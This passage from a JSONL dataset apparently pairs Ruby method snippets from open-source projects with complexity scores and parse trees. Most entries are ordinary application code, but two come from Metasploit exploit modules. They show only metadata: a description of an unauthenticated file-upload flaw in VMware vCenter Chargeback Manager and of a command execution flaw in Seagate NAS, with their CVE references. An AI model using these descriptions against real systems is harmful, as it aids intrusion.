":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GhInspector\"]},\"Inspector\"]},\"new\",{\"type\":\"str\",\"children\":[\"fastlane\"]},{\"type\":\"str\",\"children\":[\"fastlane\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verbose\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Globals\"]},\"verbose?\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"delegate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"InspectorReporter\"]},\"new\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message_or_error\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inspector\"]},\"search_query\",{\"type\":\"lvar\",\"children\":[\"message_or_error\"]},{\"type\":\"lvar\",\"children\":[\"delegate\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inspector\"]},\"search_exception\",{\"type\":\"lvar\",\"children\":[\"message_or_error\"]},{\"type\":\"lvar\",\"children\":[\"delegate\"]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Globals\"]},\"verbose?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"UI\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error finding relevant GitHub issues: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]}]}]}]},null]}]},null]}]}","id":"009ca9c8-33a7-4300-8ab7-596272376dc0"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/core/rate_limiter.rb","start_line":18,"raw_source":"def read(sync_config)\n        stream = sync_config.stream\n\n        @queue ||= Limiter::RateQueue.new(stream.request_rate_limit, interval: stream.rate_limit_unit_seconds) do\n          Integrations::Service.logger.info(\"Hit the limit for stream: #{stream.name}, waiting\")\n        end\n\n        @queue.shift\n\n        super(sync_config)\n      end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"read\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sync_config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stream\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"stream\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@queue\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Limiter\"]},\"RateQueue\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"request_rate_limit\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"interval\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"rate_limit_unit_seconds\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integrations\"]},\"Service\"]},\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Hit the limit for stream: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\", waiting\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@queue\"]},\"shift\"]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]}]}]}]}","id":"b1172613-d75c-4fb0-9aae-a47c4521f07b"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/concerns/featurable.rb","start_line":48,"raw_source":"def all_features\n    FEATURE_LIST.pluck('name').index_with do |feature_name|\n      feature_enabled?(feature_name)\n    end\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"all_features\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FEATURE_LIST\"]},\"pluck\",{\"type\":\"str\",\"children\":[\"name\"]}]},\"index_with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"feature_name\"]}]},{\"type\":\"send\",\"children\":[null,\"feature_enabled?\",{\"type\":\"lvar\",\"children\":[\"feature_name\"]}]}]}]}","id":"118bc3fd-476f-4db1-9d7b-4e8c5efdc18e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/table.rb","start_line":62,"raw_source":"def where(condition)\n      from.where condition\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"where\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"condition\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"from\"]},\"where\",{\"type\":\"lvar\",\"children\":[\"condition\"]}]}]}","id":"c81369cc-9723-47a9-960f-0f7ded847093"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapter_test.rb","start_line":174,"raw_source":"def test_charset\n        assert_not_nil @connection.charset\n        assert_not_equal \"character_set_database\", @connection.charset\n        assert_equal @connection.show_variable(\"character_set_database\"), @connection.charset\n      end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_charset\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"charset\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"str\",\"children\":[\"character_set_database\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"charset\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"show_variable\",{\"type\":\"str\",\"children\":[\"character_set_database\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"charset\"]}]}]}]}","id":"89ba08f6-ab1f-4648-9882-d1bf9cde285e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/clusters/agents_resolver.rb","start_line":18,"raw_source":"def resolve_with_lookahead(**args)\n        apply_lookahead(\n          ::Clusters::AgentsFinder\n            .new(object, current_user, params: args)\n            .execute\n        )\n      end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_with_lookahead\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[null,\"apply_lookahead\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Clusters\"]},\"AgentsFinder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"object\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]},\"execute\"]}]}]}","id":"48c2b6d8-0954-413c-9881-4f70ba65df97"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/domain_blocks_controller.rb","start_line":104,"raw_source":"def update_params\n      params\n        .require(:domain_block)\n        .slice(*PERMITTED_UPDATE_PARAMS)\n        .permit(*PERMITTED_UPDATE_PARAMS)\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"domain_block\"]}]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PERMITTED_UPDATE_PARAMS\"]}]}]},\"permit\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PERMITTED_UPDATE_PARAMS\"]}]}]}]}","id":"0b307db9-b1c7-4ca9-80df-77a8e3f9818f"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user.rb","start_line":1735,"raw_source":"def secondary_emails\n    self.user_emails.secondary.pluck(:email)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"secondary_emails\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"user_emails\"]},\"secondary\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"email\"]}]}]}","id":"a534b5ad-4d1e-4034-a08f-1f862644a350"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/issuable.rb","start_line":271,"raw_source":"def validate_assignee_size_length\n      return true unless assignees.size > MAX_NUMBER_OF_ASSIGNEES_OR_REVIEWERS\n\n      errors.add :assignees,\n        ->(_object, _data) { self.class.max_number_of_assignees_or_reviewers_message }\n    end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_assignee_size_length\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assignees\"]},\"size\"]},\">\",{\"type\":\"const\",\"children\":[null,\"MAX_NUMBER_OF_ASSIGNEES_OR_REVIEWERS\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"assignees\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_object\"]},{\"type\":\"arg\",\"children\":[\"_data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"max_number_of_assignees_or_reviewers_message\"]}]}]}]}]}","id":"21edeeaa-6350-443d-adff-93cf05733ff1"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_product_feature.rb","start_line":268,"raw_source":"def self.obj_feature_all_children(identifier)\n    obj_features.fetch_path(identifier.to_s, :children)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"obj_feature_all_children\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"identifier\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"obj_features\"]},\"fetch_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identifier\"]},\"to_s\"]},{\"type\":\"sym\",\"children\":[\"children\"]}]}]}","id":"696816c7-fe7e-4118-aed5-728a562e41b7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb","start_line":15,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'VMware vCenter Chargeback Manager ImageUploadServlet Arbitrary File Upload',\n        'Description' => %q{\n          This module exploits a code execution flaw in VMware vCenter Chargeback Manager,\n          where the ImageUploadServlet servlet allows unauthenticated file upload. The files\n          are uploaded to the /cbmui/images/ web path, where JSP code execution is allowed.\n          The module has been tested successfully on VMware vCenter Chargeback Manager 2.0.1\n          on Windows 2003 SP2.\n        },\n        'Author' => [\n          'Andrea Micalizzi', # Vulnerability discovery\n          'juan vazquez' # Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2013-3520' ],\n          [ 'OSVDB', '94188' ],\n          [ 'BID', '60484' ],\n          [ 'ZDI', '13-147' ]\n        ],\n        'Privileged' => true,\n        'Platform' => 'win',\n        'Arch' => ARCH_X86,\n        'Targets' => [\n          [ 'VMware vCenter Chargeback Manager 2.0.1 / Windows 2003 SP2', {} ]\n        ],\n        'DefaultOptions' => {\n          'SSL' => true\n        },\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2013-05-15',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(443)\n      ]\n    )\n\n    self.needs_cleanup = true\n  end","complexity_score":6.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"VMware vCenter Chargeback Manager ImageUploadServlet Arbitrary File Upload\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a code execution flaw in VMware vCenter Chargeback Manager,\\n\"]},{\"type\":\"str\",\"children\":[\"          where the ImageUploadServlet servlet allows unauthenticated file upload. The files\\n\"]},{\"type\":\"str\",\"children\":[\"          are uploaded to the /cbmui/images/ web path, where JSP code execution is allowed.\\n\"]},{\"type\":\"str\",\"children\":[\"          The module has been tested successfully on VMware vCenter Chargeback Manager 2.0.1\\n\"]},{\"type\":\"str\",\"children\":[\"          on Windows 2003 SP2.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Andrea Micalizzi\"]},{\"type\":\"str\",\"children\":[\"juan vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-3520\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"94188\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"60484\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ZDI\"]},{\"type\":\"str\",\"children\":[\"13-147\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"VMware vCenter Chargeback Manager 2.0.1 / Windows 2003 SP2\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-05-15\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[443]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"needs_cleanup=\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"b2ed80bd-4428-4844-9653-f04a3234c958"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/regular/pull_hotlinked_images.rb","start_line":7,"raw_source":"def execute(args)\n      disable_if_low_on_disk_space\n\n      @post_id = args[:post_id]\n      raise Discourse::InvalidParameters.new(:post_id) if @post_id.blank?\n\n      # in test we have no choice cause we don't want to cause a deadlock\n      if Jobs.run_immediately?\n        pull_hotlinked_images\n      else\n        DistributedMutex.synchronize(\"pull_hotlinked_images_#{@post_id}\", validity: 2.minutes) do\n          pull_hotlinked_images\n        end\n      end\n    end","complexity_score":15.58,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"disable_if_low_on_disk_space\"]},{\"type\":\"ivasgn\",\"children\":[\"@post_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"post_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post_id\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]},\"new\",{\"type\":\"sym\",\"children\":[\"post_id\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"run_immediately?\"]},{\"type\":\"send\",\"children\":[null,\"pull_hotlinked_images\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DistributedMutex\"]},\"synchronize\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"pull_hotlinked_images_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post_id\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validity\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"minutes\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"pull_hotlinked_images\"]}]}]}]}]}","id":"9ac81e03-d625-426d-936a-0a247862a77d"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/finder/context/test_parse_options.rb","start_line":120,"raw_source":"def test_blank_region_should_load_all_regions_available\n    @regions_repo.expects(:all_generated).returns([:region1, :region2])\n    @regions_repo.expects(:loaded?).with(:region1).returns(false)\n    @regions_repo.expects(:loaded?).with(:region2).returns(true)\n    @regions_repo.expects(:parent_region_lookup).with(:region1).returns(:region2)\n    @definition_loader.expects(:call).with(:region2)\n\n    regions = @subject.call.first\n    assert_equal([:region1, :region2], regions)\n  end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_blank_region_should_load_all_regions_available\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@regions_repo\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"all_generated\"]}]},\"returns\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"region1\"]},{\"type\":\"sym\",\"children\":[\"region2\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@regions_repo\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"loaded?\"]}]},\"with\",{\"type\":\"sym\",\"children\":[\"region1\"]}]},\"returns\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@regions_repo\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"loaded?\"]}]},\"with\",{\"type\":\"sym\",\"children\":[\"region2\"]}]},\"returns\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@regions_repo\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"parent_region_lookup\"]}]},\"with\",{\"type\":\"sym\",\"children\":[\"region1\"]}]},\"returns\",{\"type\":\"sym\",\"children\":[\"region2\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@definition_loader\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"call\"]}]},\"with\",{\"type\":\"sym\",\"children\":[\"region2\"]}]},{\"type\":\"lvasgn\",\"children\":[\"regions\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"call\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"region1\"]},{\"type\":\"sym\",\"children\":[\"region2\"]}]},{\"type\":\"lvar\",\"children\":[\"regions\"]}]}]}]}","id":"2a124ccf-edec-4e17-9fe7-b8c92095b9f1"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/spec/support/pages/meetings/index.rb","start_line":225,"raw_source":"def expect_no_meeting_location(meeting)\n      within \"#content-wrapper\" do\n        within row_for(meeting) do\n          expect(page).to have_css(\"div.location\", text: \"\")\n        end\n      end\n    end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_no_meeting_location\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"meeting\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"str\",\"children\":[\"#content-wrapper\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"send\",\"children\":[null,\"row_for\",{\"type\":\"lvar\",\"children\":[\"meeting\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\"div.location\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}]}","id":"72104ea3-f79d-429f-80af-3fe6f0eb883c"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/app/serializers/discourse_post_event/event_serializer.rb","start_line":40,"raw_source":"def include_channel?\n      object.chat_enabled && defined?(::Chat::ChannelSerializer) && object.chat_channel.present?\n    end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"include_channel?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"chat_enabled\"]},{\"type\":\"defined?\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Chat\"]},\"ChannelSerializer\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"chat_channel\"]},\"present?\"]}]}]}","id":"dcb13720-6bc7-4a87-8b76-1aef502c77f7"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/sysprep_file.rb","start_line":15,"raw_source":"def validate_sysprep_ini\n    require 'inifile'\n    IniFile.new(:content => content)\n  rescue IniFile::Error => err\n    raise err,\n          _(\"Invalid INI file contents detected. %{error_message}\") % {:error_message => err.message},\n          err.backtrace\n  end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_sysprep_ini\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"inifile\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IniFile\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[null,\"content\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IniFile\"]},\"Error\"]}]},{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"err\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Invalid INI file contents detected. %{error_message}\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"backtrace\"]}]}]},null]}]}","id":"8fda49a0-4b34-4370-bd6b-a810950c7d9c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Seagate Business NAS Unauthenticated Remote Command Execution',\n        'Description' => %q{\n          Some Seagate Business NAS devices are vulnerable to command execution via a local\n          file include vulnerability hidden in the language parameter of the CodeIgniter\n          session cookie. The vulnerability manifests in the way the language files are\n          included in the code on the login page, and hence is open to attack from users\n          without the need for authentication. The cookie can be easily decrypted using a\n          known static encryption key and re-encrypted once the PHP object string has been\n          modified.\n\n          This module has been tested on the STBN300 device.\n        },\n        'Author' => [\n          'OJ Reeves <oj[at]beyondbinary.io>' # Discovery and Metasploit module\n        ],\n        'References' => [\n          ['CVE', '2014-8684'],\n          ['CVE', '2014-8686'],\n          ['CVE', '2014-8687'],\n          ['EDB', '36202'],\n          ['URL', 'http://www.seagate.com/au/en/support/external-hard-drives/network-storage/business-storage-2-bay-nas/'],\n          ['URL', 'http://web.archive.org/web/20150806124553/https://beyondbinary.io/advisory/seagate-nas-rce/']\n        ],\n        'DisclosureDate' => '2015-03-01',\n        'Privileged' => true,\n        'Platform' => 'php',\n        'Arch' => ARCH_PHP,\n        'Payload' => { 'DisableNops' => true },\n        'Targets' => [['Automatic', {}]],\n        'DefaultTarget' => 0,\n        'License' => MSF_LICENSE,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' 